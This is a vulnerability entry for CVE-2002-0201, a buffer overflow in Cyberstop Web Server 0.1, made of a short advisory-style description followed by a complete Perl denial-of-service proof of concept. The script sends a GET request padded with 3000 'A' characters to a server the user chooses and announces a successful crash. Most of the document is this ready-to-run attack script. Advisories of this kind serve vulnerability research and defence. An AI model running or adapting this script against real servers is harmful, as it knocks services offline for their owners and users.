CVE-2002-0201

An attacker can send a crafted HTTP GET request containing an unusually large number of arbitrary characters to a vulnerable Cyberstop Web Server. This malformed request is designed to exceed the buffer allocated for handling requests, causing the server to crash and become unresponsive. The exploit script demonstrates sending a GET request with approximately 3000 'A' characters to trigger this condition [ref_id=1].

The vulnerability resides within the HTTP request handling mechanism of Cyberstop Web Server for Windows version 0.1. Specifically, the server fails to properly validate the length of incoming HTTP GET requests, leading to a buffer overflow when processing excessively long requests [ref_id=1].

The advisory does not specify a patch or provide details on how the vulnerability is fixed. Remediation guidance suggests that users should update to a version of the software that addresses this issue, though no specific version is mentioned. Users are advised to consult vendor advisories for the most current information on available fixes.

```perl #!/usr/bin/perl # Simple script to send a long 'A^s' command to the server, # resulting in the server crashing. # # CyberStop WEbserver v0.1 proof-of-concept exploit # By Alex Hernandez <al3xhernandez@ureach.com> (C)2002. # # Thanks all the people from Spain and Argentina. # Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins, # G.Maggiotti & H.Oliveira. # # # Usage: perl -x Cyber_DoS.pl -s <server> # # Example: # # perl -x Cyber_DoS.pl -s 10.0.0.1 # # Crash was successful ! #

use Getopt::Std; use IO::Socket;

print("\nCyberStop WEbserver v0.1 DoS exploit (c)2002.\n"); print("Alex Hernandez al3xhernandez\@ureach.com\n\n");

getopts('s:', \%args); if(!defined($args{s})){&usage;}

($serv,$port,$def,$num,$data,$buf,$in_addr,$paddr,$proto);

$def = "A"; $num = "3000"; $data .= $def x $num; $serv = $args{s}; $port = 80; $buf = "GET /$data /HTTP/1.0\r\n\r\n";

$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n"); $paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n"); $proto = getprotobyname('tcp') || die("Error: $!\n");

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!"); connect(S, $paddr) ||die ("Error: $!"); select(S); $| = 1; select(STDOUT); print S "$buf";

print("\nCrash was successful !\n\n");

sub usage { die("\n\nUsage: perl -x $0 -s <server>\n\n"); }

``` [ref_id=1]